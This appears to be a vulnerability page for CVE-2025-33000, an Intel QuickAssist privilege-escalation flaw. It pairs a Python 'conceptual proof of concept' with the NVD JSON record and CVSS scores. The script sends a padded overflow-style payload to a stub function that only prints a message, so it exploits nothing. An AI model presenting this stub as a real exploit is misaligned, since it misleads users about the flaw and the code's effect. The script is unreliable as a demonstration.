CVE-2025-33000

# CVE-2025-33000 PoC - Intel QAT Input Validation Bypass # This is a conceptual proof-of-concept demonstrating the attack vector # Note: Actual exploitation requires specific environment and target configuration import struct import ctypes class QATExploit: def __init__(self): self.qat_handle = None self.malicious_payload = None def create_malicious_input(self): """ Create specially crafted input for QAT API that bypasses validation The vulnerability exists in input parameter handling in Ring 3 """ # Craft malicious QAT request structure # This exploits improper input validation in QAT user space library header = struct.pack('<I', 0x41414141) # Malformed header # Overflow the input length field to trigger validation bypass length_field = struct.pack('<I', 0xFFFFFFFF) # Invalid length # Craft payload that will be passed unsanitized to kernel driver payload = b'\x41' * 256 # Pattern to identify overflow self.malicious_payload = header + length_field + payload return self.malicious_payload def trigger_vulnerability(self): """ Trigger the input validation vulnerability Requires: Local access, authenticated user, QAT software installed """ payload = self.create_malicious_input() # Attempt to send malformed request to QAT driver # In vulnerable versions, this bypasses proper validation try: # Simulate QAT API call with malicious input result = self.send_to_qat_driver(payload) return result except Exception as e: print(f"Exploitation attempt: {e}") return False def send_to_qat_driver(self, payload): """ Simulate communication with QAT kernel driver The driver receives unsanitized input from user space """ # In actual exploitation, this would use QATlib API: # qat_cpaStartInstance(), cpaCySymPerformOp() # with specially crafted session parameters print(f"[*] Sending payload to QAT driver ({len(payload)} bytes)") return True if __name__ == "__main__": print("[*] CVE-2025-33000 PoC - Intel QAT Privilege Escalation") print("[*] Target: Intel QuickAssist Technology < 2.6.0") print("[*] Attack Vector: Local, Low complexity, No user interaction") exploit = QATExploit() exploit.trigger_vulnerability() print("\n[!] Note: This is a conceptual PoC for educational purposes") print("[!] Actual exploitation requires specific environment setup")

{"cve": {"id": "CVE-2025-33000", "sourceIdentifier": "[email protected]", "published": "2025-11-11T17:15:50.057", "lastModified": "2025-11-26T15:38:13.170", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper input validation for some Intel QuickAssist Technology before version 2.6.0 within Ring 3: User Applications may allow an escalation of privilege. System software adversary with an authenticated user combined with a low complexity attack may enable escalation of privilege. This result may potentially occur via local access when attack requirements are present without special internal knowledge and requires no user interaction. The potential vulnerability may impact the confidentiality (high), integrity (high) and availability (high) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.0, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:intel:quickassist_technology:*:*:*:*:*:windows:*:*", "versionEndExcluding": "2.6.0-0018", "matchCriteriaId": "6416303E-851F-4530-875E-D349969919BE"}]}]}], "references": [{"url": "https://intel.com/content/www/us/en/security-center/advisory/intel-sa-01373.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}